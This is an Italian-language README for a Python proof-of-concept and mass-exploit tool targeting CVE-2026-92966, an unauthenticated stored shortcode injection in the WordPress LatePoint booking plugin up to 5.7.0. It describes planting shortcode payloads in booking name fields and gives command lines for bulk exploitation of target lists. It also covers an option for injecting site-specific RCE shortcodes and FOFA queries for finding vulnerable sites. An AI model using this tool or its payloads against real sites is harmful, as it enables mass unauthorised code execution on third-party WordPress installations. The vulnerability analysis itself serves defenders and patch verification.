
PoC Python e strumento di mass-exploit per CVE-2026-92966, un'esecuzione di shortcode memorizzato non autenticata in WordPress LatePoint ≤5.7.0 tramite i campi del nome nella prenotazione.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-92966 |
| Prodotto | LatePoint — Prenotazione appuntamenti |
| Affetto | ≤ 5.7.0 |
| Corretto | 5.7.1 |
| CWE | CWE-94 — Iniezione di codice (esecuzione di shortcode) |
| CVSS 3.1 | 9.1 Critico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| CNA | Wordfence |
| Scopritore | hashiramasenju333 |
| Catalogo PoCbit | https://pocbit.org/pocs/ |
| Pagina PoCbit | https://pocbit.org/pocs/cve-2026-92966 |
| Marcatore di verifica | POCBIT-92966-OK |
| Avviso | Wordfence Threat Intel |
PoC in Python allineato a CVE-2026-102425: exploit di massa per impostazione predefinita, --check, -u, --lab, thread pool, hits.txt / exploited.txt. Nessuna chiave API — inserimento completamente non autenticato tramite il flusso di prenotazione pubblico.
WordPress LatePoint consente ai visitatori anonimi di prenotare appuntamenti. Il nome / cognome del cliente vengono memorizzati con la sola sanitize_text_field() — le parentesi quadre non vengono rimosse, quindi valori come [caption]…[/caption] persistono.
Quando il sito renderizza il blocco Gutenberg Customer Cabinet (render_customer_dashboard() → [latepoint_customer_dashboard]), il template della dashboard stampa il nome del cliente all'interno dell'HTML (Welcome %s con esc_html($customer->full_name)). esc_html non codifica [ o ], quindi i payload simili a shortcode sopravvivono nell'output del blocco.
WordPress esegue quindi do_shortcode su the_content con priorità 11. Poiché la 5.7.0 restituiva HTML grezzo della dashboard dal gestore dello shortcode, gli shortcode memorizzati nella riga di benvenuto venivano analizzati una seconda volta ed eseguiti. La 5.7.1 corregge questo problema applicando encode_shortcode_delimiters() all'output della dashboard (vedi il commento in shortcodes_helper.php: "the_content runs do_shortcode at priority 11").
Impatto: esecuzione arbitraria di shortcode non autenticata. Non si tratta sempre di RCE istantanea a livello di sistema operativo di per sé, ma su un tipico stack WordPress si concatena a plugin critici (form, builder, file manager, shortcode basati su eval). Il PoC dimostra l'esecuzione con lo shortcode core [caption] e con l'opzionale POCBIT_EXEC_SHORTCODE per gadget RCE specifici del sito.
sequenceDiagram
participant A as Attacker
participant B as Booking (nopriv AJAX)
participant DB as wp_latepoint_customers
participant P as Page + Customer Cabinet block
participant WP as the_content do_shortcode
A->>B: first_name=[caption]PAYLOAD[/caption]
B->>DB: store customer (guest booking)
A->>P: GET customer dashboard (session/cookie)
P->>P: shortcode renders Welcome + payload
WP->>WP: second do_shortcode pass
WP-->>A: executed shortcode output (marker)
customer[first_name] (o last_name) su un payload shortcode.do_shortcode.Riferimenti nel codice sorgente del vendor (5.7.0):
lib/models/customer_model.php — prepare_data_before_it_is_set() / sanitize_text_field sui nomilib/views/customer_cabinet/dashboard.php — riga di benvenuto con full_namelib/helpers/blocks_helper.php — render_customer_dashboard()lib/helpers/shortcodes_helper.php (5.7.1) — encode_shortcode_delimiters()| File | Scopo |
|---|---|
poc.py | CLI, menu interattivo, exploit massivo |
_engine.py | Controllo versione, tentativo di plant della prenotazione, trigger della dashboard, lab |
up.php | File di probe opzionale se lo shortcode RCE rilascia file |
targets.example.txt | Elenco di URL per l'esecuzione in blocco |
extract-5.7.0/ / extract-5.7.1/ | Alberi del vendor per il diff (opzionale) |
pip install requests colorama
python poc.py
exploited.txtpython poc.py targets.txt
python poc.py fofa_latepoint.txt -t 20 -T 28
hits.txtpython poc.py --check targets.txt
Fingerprint: readme.txt Stable tag, indizi del front-end di LatePoint (latepoint-book-form, latepoint_helper), versione ≤ 5.7.0.
python poc.py -u https://target.example --check
python poc.py -u https://target.example
Se il target dispone di uno shortcode pericoloso (file manager, ecc.):
set POCBIT_EXEC_SHORTCODE=[your_shortcode_here]
python poc.py -u https://target.example
Oppure: python poc.py -u URL --exec-shortcode "[shortcode]"
La sonda predefinita utilizza lo shortcode del core di WordPress [caption]POCBIT-92966-OK[/caption] (non sono richiesti plugin aggiuntivi per dimostrare l'esecuzione).
python poc.py --lab
Esegue il bind su 127.0.0.1:8797, simula il readme 5.7.0, la prenotazione dell'impianto e il doppio do_shortcode sull'HTML della dashboard. Atteso "exploited": true.
| Stato | Significato |
|---|---|
affected | Versione ≤ 5.7.0 (modalità di verifica) |
exploited | Marker dopo la procedura guidata di prenotazione + pagina Cabinet del cliente autenticato |
plant_no_auth_cookie | Nome inserito ma nessun cookie di login cliente/WP da admin-ajax |
plant_missing_service_id | La procedura guidata di prenotazione non ha servizi pubblici da selezionare |
plant_otp_required / plant_auth_blocked | Fase cliente bloccata da OTP o policy di login |
no_customer_cabinet_page | Sessione OK ma nessuna pagina [latepoint_customer_dashboard] trovata |
shortcode_not_triggered | Impianto + sessione OK; cabinet caricato ma marker non eseguito |
patched_skip | ≥ 5.7.1 |
no_latepoint | Plugin non rilevato |
Esempi FOFA / ricerca:
body="/wp-content/plugins/latepoint/"
body="latepoint-book-form"
body="latepoint_helper"
Il tasso di successo dell'exploit dipende da: procedura di prenotazione raggiungibile senza pagamento, blocco del Customer Cabinet pubblicato, sessione guest dopo la prenotazione.
[ in customer[first_name] / last_name su latepoint_route_call — solo temporaneamente.Solo test autorizzati.
CVE-2026-92966 — WordPress LatePoint ≤5.7.0 unauthenticated stored shortcode execution (CVSS 9.1, CWE-94). PoCbit mass-exploit PoC: plant [caption]/custom shortcode in booking first name → Customer Cabinet block double do_shortcode; fixed in 5.7.1. No API key. check/exploit/mass, hits.txt & exploited.txt, --lab. Marker: POCBIT-92966-OK. https://pocbit.org/pocs/cve-2026-92966